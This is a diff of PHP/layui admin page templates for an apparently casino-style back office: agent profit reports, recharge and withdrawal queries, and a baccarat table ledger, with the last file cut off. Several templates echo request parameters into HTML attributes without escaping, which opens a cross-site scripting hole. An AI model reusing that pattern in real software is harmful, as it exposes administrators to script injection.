||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:16px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.layui-table{margin-bottom:0;}
|
||||
.no-data{background:#f2f2f2;text-align:center;height:30px;line-height:30px;}
|
||||
.operation{width:20%}
|
||||
.child-false{background:#FBFBFB;color:#ccc;}
|
||||
.child-false:hover{background:#FBFBFB;color:#ccc;cursor:not-allowed;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">收益日报表</a>
|
||||
<!--<a href="javascript:;" class="list-two" data-id="2">玩家添加</a>-->
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/report/profit" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<input type="text" name="username" id="username" placeholder="代理账号" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出 excel</span>
|
||||
<!-- <span class="layui-btn" id="print">打印</span> -->
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>用户名</th>
|
||||
<th>占成%</th>
|
||||
<th>占成收益</th>
|
||||
<th>洗码率%</th>
|
||||
<th>洗码收益</th>
|
||||
<th>总收益金额</th>
|
||||
<th class="operation">操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="agent_list" item="vo"}
|
||||
<tr>
|
||||
<td>
|
||||
<a href="javascript:;" class="relation" onclick="x_admin_show('关系结构','/index/relation?id={$vo.id}',400,500)">{$vo.username}</a>
|
||||
{if condition="$vo.status == 0"}
|
||||
<span style="color:red;">(禁用)</span>
|
||||
{/if}
|
||||
</td>
|
||||
<td>{$vo.agent_cs}</td>
|
||||
<td>{$vo.self_income_cs}</td>
|
||||
<td>{$vo.agent_ximalv}</td>
|
||||
<td>{$vo.self_income_xima}</td>
|
||||
<td>{$vo.total_income}</td>
|
||||
<td>
|
||||
{if condition="$vo.child_agent > 0"}
|
||||
<a class="layui-btn layui-btn-normal layui-btn-mini" href="javascript:;" onclick="x_admin_show('{$vo.username} > 下级代理','/report/profit?agent_id={$vo.id}&startDate={$get.startDate}&endDate={$get.endDate}')">下级代理</a>
|
||||
{else}
|
||||
<a class="layui-btn layui-btn-normal layui-btn-mini child-false" href="javascript:;">下级代理</a>
|
||||
{/if}
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
<?php if(count($agent_list) == 0): ?>
|
||||
<div class="no-data">暂无数据</div>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
<!-- 隐藏参数 -->
|
||||
<input type="hidden" id="agent_id" value="<?php if(isset($get['agent_id'])) echo $get['agent_id']; ?>">
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/report/profit';
|
||||
// if(id == "2") location.href = '/player/player_add';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var username = $('#username').val();
|
||||
var agent_id = $('#agent_id').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/report/profit?export=1&startDate="+startDate+"&endDate="+endDate+"&username="+username+'&agent_id='+agent_id;
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
$('#print').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var username = $('#username').val();
|
||||
var agent_id = $('#agent_id').val();
|
||||
layer.open({
|
||||
type: 2,
|
||||
title:'收益日报表打印',
|
||||
content: '/report/profit_print?&startDate='+startDate+'&endDate='+endDate+'&username='+username+'&agent_id='+agent_id,
|
||||
area: ['95%', '95%']
|
||||
});
|
||||
});
|
||||
function getQueryString() {
|
||||
var qs = location.search.substr(1), // 获取url中"?"符后的字串
|
||||
args = {}, // 保存参数数据的对象
|
||||
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
|
||||
item = null,
|
||||
len = items.length;
|
||||
|
||||
for(var i = 0; i < len; i++) {
|
||||
item = items[i].split("=");
|
||||
var name = decodeURIComponent(item[0]),
|
||||
value = decodeURIComponent(item[1]);
|
||||
if(name) {
|
||||
args[name] = value;
|
||||
}
|
||||
}
|
||||
return args;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,41 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.layui-table{margin-bottom:0;}
|
||||
.layui-table th{text-align:center;}
|
||||
.no-data{background:#f2f2f2;text-align:center;height:30px;line-height:30px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
|
||||
<table class="layui-table">
|
||||
<div style="text-align: center;font-size: 18px;font-weight:bold;">收益日报表</div>
|
||||
<thead>
|
||||
<tr>
|
||||
<th>用户名</th>
|
||||
<th>占成%</th>
|
||||
<th>占成收益</th>
|
||||
<th>洗码率%</th>
|
||||
<th>洗码收益</th>
|
||||
<th>总收益金额</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="agent_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.agent_cs}</td>
|
||||
<td>{$vo.self_income_cs}</td>
|
||||
<td>{$vo.self_income_xima}</td>
|
||||
<td>{$vo.agent_ximalv}</td>
|
||||
<td>{$vo.total_income}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
<?php if(count($agent_list) == 0): ?>
|
||||
<div class="no-data">暂无数据</div>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,147 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">充值查询</a>
|
||||
<a href="javascript:;" class="list-two" data-id="2">提现查询</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/report/user_recharge" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="截止时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出 excel</span>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="width:130px;">时间</th>
|
||||
<th>用户名称[账号]</th>
|
||||
<th>充值U币</th>
|
||||
<th>充值金额</th>
|
||||
<th>充值前余额</th>
|
||||
<th>充值后余额</th>
|
||||
<th>外部交易号</th>
|
||||
<th>转账地址</th>
|
||||
<th>入账地址</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<?php if(count($list) > 0): ?>
|
||||
<tr style="background:#67B8D8;color:#fff;">
|
||||
<td colspan="1"></td>
|
||||
<td>合计</td>
|
||||
<td>{$total.amount}</td>
|
||||
<td>{$total.money}</td>
|
||||
<td colspan="9"></td>
|
||||
</tr>
|
||||
<?php endif; ?>
|
||||
{foreach name="list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.create_time}</td>
|
||||
<td>{$vo.nickname}[{$vo.username}]</td>
|
||||
<td>{$vo.amount}</td>
|
||||
<td><?php echo number_format($vo['money'],2,".",""); ?></td>
|
||||
<td><?php echo number_format($vo['old_money'],2,".",""); ?></td>
|
||||
<td><?php echo number_format($vo['new_money'],2,".",""); ?></td>
|
||||
<td>{$vo.out_trade_no}</td>
|
||||
<td>{$vo.from_addr}</td>
|
||||
<td>{$vo.to_addr}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$list->render()}
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav span').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == 1) location.href = '/report/user_recharge';
|
||||
if(id == 2) location.href = '/report/user_withdraw';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var agent_level = $('#agent_level').val();
|
||||
var mode = $('#mode').val();
|
||||
var username = $('#username').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/report/user_recharge?export=1&{$query}";
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,181 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">充值查询</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">提现查询</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/report/user_withdraw" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="截止时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出 excel</span>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="width:130px;">时间</th>
|
||||
<th>用户名称[账号]</th>
|
||||
<th>提现U币</th>
|
||||
<th>手续费(U币)</th>
|
||||
<th>提现金额</th>
|
||||
<th>手续费金额</th>
|
||||
<th>提现前余额</th>
|
||||
<th>提现后余额</th>
|
||||
<th>审核状态</th>
|
||||
<th>操作人[账号]</th>
|
||||
<th>操作类型</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<?php if(count($list) > 0): ?>
|
||||
<tr style="background:#67B8D8;color:#fff;">
|
||||
<td colspan="1"></td>
|
||||
<td>合计</td>
|
||||
<td>{$total.amount}</td>
|
||||
<td>{$total.service_fee}</td>
|
||||
<td>{$total.money}</td>
|
||||
<td>{$total.service_fee_money}</td>
|
||||
<td colspan="6"></td>
|
||||
</tr>
|
||||
<?php endif; ?>
|
||||
{foreach name="list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.create_time}</td>
|
||||
<td>{$vo.nickname}[{$vo.username}]</td>
|
||||
<td>{$vo.amount}</td>
|
||||
<td>{$vo.service_fee}</td>
|
||||
<td><?php echo number_format($vo['money'],2,".",""); ?></td>
|
||||
<td><?php echo number_format($vo['service_fee_money'],2,".",""); ?></td>
|
||||
<td><?php echo number_format($vo['old_money'],2,".",""); ?></td>
|
||||
<td><?php echo number_format($vo['new_money'],2,".",""); ?></td>
|
||||
<td>{$vo.status_msg}</td>
|
||||
<td>{$vo.operator_nickname}[{$vo.operator_username}]</td>
|
||||
<td>{$vo.operator_source_msg}</td>
|
||||
<td class="td-manage">
|
||||
{if condition="$vo.status == 'WAIT'"}
|
||||
<a class="layui-btn layui-operation" href="javascript:;" onclick="doWithdraw('{$vo.id}')">审核通过</a>
|
||||
{/if}
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$list->render()}
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav span').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == 1) location.href = '/report/user_recharge';
|
||||
if(id == 2) location.href = '/report/user_withdraw';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
// 处理提现
|
||||
function doWithdraw(id){
|
||||
var msg = "确定通过?";
|
||||
layer.confirm(msg,function(){
|
||||
$.ajax({
|
||||
url:'/report/doUserWithdraw',
|
||||
data:{id:id},
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
success:function(data){
|
||||
if(data.code == 1){
|
||||
layer.msg(data.msg,{icon:1},function(){
|
||||
location.href = "/report/user_withdraw";
|
||||
});
|
||||
}else{
|
||||
layer.msg(data.msg,function(){});
|
||||
}
|
||||
}
|
||||
});
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var agent_level = $('#agent_level').val();
|
||||
var mode = $('#mode').val();
|
||||
var username = $('#username').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/report/user_withdraw?export=1&{$query}";
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,184 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:16px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.title-ag{height: 40px; line-height: 40px; background: #fdeeda; margin-top: 10px; text-align:center;}
|
||||
.title-ag span{font-size: 15px;}
|
||||
.layui-table td, .layui-table th{font-size:12px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">百家乐桌台账目</a>
|
||||
<!--<a href="javascript:;" class="list-two" data-id="2">玩家添加</a>-->
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/table/baccarat" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<div class="layui-input-block" >
|
||||
<select name="table_id" id="table_id">
|
||||
<option value="-1" selected>请选择桌子</option>
|
||||
{foreach name="$table_list" item="vo"}
|
||||
<option value="{$vo.id}" <?php if(isset($get['table_id']) && $get['table_id'] == $vo['id']) {echo 'selected';} ?>>{$vo.table_name}</option>
|
||||
{/foreach}
|
||||
</select>
|
||||
</div>
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出excel</span>
|
||||
<!-- <span class="layui-btn" id="print">打印</span> -->
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>桌号</th>
|
||||
<th>庄(下注额)</th>
|
||||
<th>闲(下注额)</th>
|
||||
<th>和(下注额)</th>
|
||||
<th>庄对(下注额)</th>
|
||||
<th>闲对(下注额)</th>
|
||||
<th>庄(次)</th>
|
||||
<th>闲(次)</th>
|
||||
<th>和(次)</th>
|
||||
<th>庄对(次)</th>
|
||||
<th>闲对(次)</th>
|
||||
<th>庄闲对(次)</th>
|
||||
<th>总押</th>
|
||||
<th>会员赢</th>
|
||||
<th>洗码量</th>
|
||||
<th>码量</th>
|
||||
<th>收益</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="table" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.bankerSum}</td>
|
||||
<td>{$vo.playerSum}</td>
|
||||
<td>{$vo.tieSum}</td>
|
||||
<td>{$vo.bankerPairSum}</td>
|
||||
<td>{$vo.playerPairSum}</td>
|
||||
<td>{$vo.bankerCount}</td>
|
||||
<td>{$vo.playerCount}</td>
|
||||
<td>{$vo.tieCount}</td>
|
||||
<td>{$vo.bankerPairCount}</td>
|
||||
<td>{$vo.playerPairCount}</td>
|
||||
<td>{$vo.bankerPlayerPairCount}</td>
|
||||
<td>{$vo.totalSum}</td>
|
||||
<td>{$vo.totalWinSum}</td>
|
||||
<td>{$vo.ximaliang}</td>
|
||||
<td>{$vo.totalMaliang}</td>
|
||||
<td>{$vo.income}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
<!-- 汇总信息 -->
|
||||
<tr style="border-left:1px solid #ddd;">
|
||||
<td colspan="11" style="border-left:none;"></td>
|
||||
<td>汇总</td>
|
||||
<td>{$total_baccarat.total_sum}</td>
|
||||
<td>{$total_baccarat.total_win_sum}</td>
|
||||
<td>{$total_baccarat.ximaliang}</td>
|
||||
<td>{$total_baccarat.total_maliang}</td>
|
||||
<td>{$total_baccarat.income}</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
{$table->render()}
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/table/baccarat';
|
||||
// if(id == "2") location.href = '/player/player_add';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
$('#print').click(function(){
|
||||
var qs = getQueryString();
|
||||
var startDate = qs["startDate"];
|
||||
var endDate = qs["endDate"];
|
||||
var table_id = qs["table_id"];
|
||||
if(startDate == undefined) startDate = '';
|
||||
if(endDate == undefined) endDate = '';
|
||||
if(table_id == undefined) table_id = '';
|
||||
layer.open({
|
||||
type: 2,
|
||||
title:'百家乐桌台账目打印',
|
||||
content: '/table/baccarat_print?startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id,
|
||||
area: ['95%', '95%']
|
||||
});
|
||||
});
|
||||
function getQueryString() {
|
||||
var qs = location.search.substr(1), // 获取url中"?"符后的字串
|
||||
args = {}, // 保存参数数据的对象
|
||||
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
|
||||
item = null,
|
||||
len = items.length;
|
||||
|
||||
for(var i = 0; i < len; i++) {
|
||||
item = items[i].split("=");
|
||||
var name = decodeURIComponent(item[0]),
|
||||
value = decodeURIComponent(item[1]);
|
||||
if(name) {
|
||||
args[name] = value;
|
||||
}
|
||||
}
|
||||
return args;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var table_id = $('#table_id').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/table/baccarat?export=1&startDate="+startDate+"&endDate="+endDate+"&&table_id="+table_id;
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,64 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
|
||||
<table class="layui-table">
|
||||
<div style="text-align: center;font-size: 18px;font-weight:bold;">百家乐桌台账目</div>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="text-align: center;">桌号</th>
|
||||
<th style="text-align: center;">庄(下注额)</th>
|
||||
<th style="text-align: center;">闲(下注额)</th>
|
||||
<th style="text-align: center;">和(下注额)</th>
|
||||
<th style="text-align: center;">庄对(下注额)</th>
|
||||
<th style="text-align: center;">闲对(下注额)</th>
|
||||
<th style="text-align: center;">庄(次)</th>
|
||||
<th style="text-align: center;">闲(次)</th>
|
||||
<th style="text-align: center;">和(次)</th>
|
||||
<th style="text-align: center;">庄对(次)</th>
|
||||
<th style="text-align: center;">闲对(次)</th>
|
||||
<th style="text-align: center;">庄闲对(次)</th>
|
||||
<th style="text-align: center;">总押</th>
|
||||
<th style="text-align: center;">会员赢</th>
|
||||
